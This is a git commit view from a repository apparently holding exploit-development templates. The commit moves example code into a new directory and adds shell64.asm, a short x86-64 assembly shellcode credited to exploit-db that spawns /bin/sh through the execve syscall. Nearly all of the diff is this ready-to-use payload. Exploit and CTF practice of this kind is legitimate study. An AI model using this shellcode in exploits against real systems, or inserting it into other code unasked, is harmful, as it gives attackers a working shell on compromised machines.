diff options
author | Malfurious <m@lfurio.us> | 2022-12-24 07:50:44 -0500 |
---|---|---|
committer | Malfurious <m@lfurio.us> | 2023-01-15 10:12:48 -0500 |
commit | c41649b5077eb3e0d66043658df8bccbdfef0f1a (patch) | |
tree | 5c25138a2fdce2f5ed463a3ebd4dbefeb2613c90 /templates/shellcode/examples/shell64.asm | |
parent | d1853b2ea3b52cf20d08c428769a2a4fa3bf6b5c (diff) | |
download | lib-des-gnux-c41649b5077eb3e0d66043658df8bccbdfef0f1a.tar.gz lib-des-gnux-c41649b5077eb3e0d66043658df8bccbdfef0f1a.zip |
shellcode: Move example code to a new directory
This is mainly done to keep the top working directory (where the
Makefile lives) cleaner.
Signed-off-by: Malfurious <m@lfurio.us>
Diffstat (limited to 'templates/shellcode/examples/shell64.asm')
-rw-r--r-- | templates/shellcode/examples/shell64.asm | 16 |
1 files changed, 16 insertions, 0 deletions
diff --git a/templates/shellcode/examples/shell64.asm b/templates/shellcode/examples/shell64.asm new file mode 100644 index 0000000..2353b6f --- /dev/null +++ b/templates/shellcode/examples/shell64.asm @@ -0,0 +1,16 @@ +[SECTION .text] +global _start + +; https://www.exploit-db.com/shellcodes/47008 + +_start: + xor rsi, rsi + xor rdx, rdx + push rsi + mov rdi, 0x68732f2f6e69622f + push rdi + push rsp + pop rdi + mov al, 0x3b + cdq + syscall |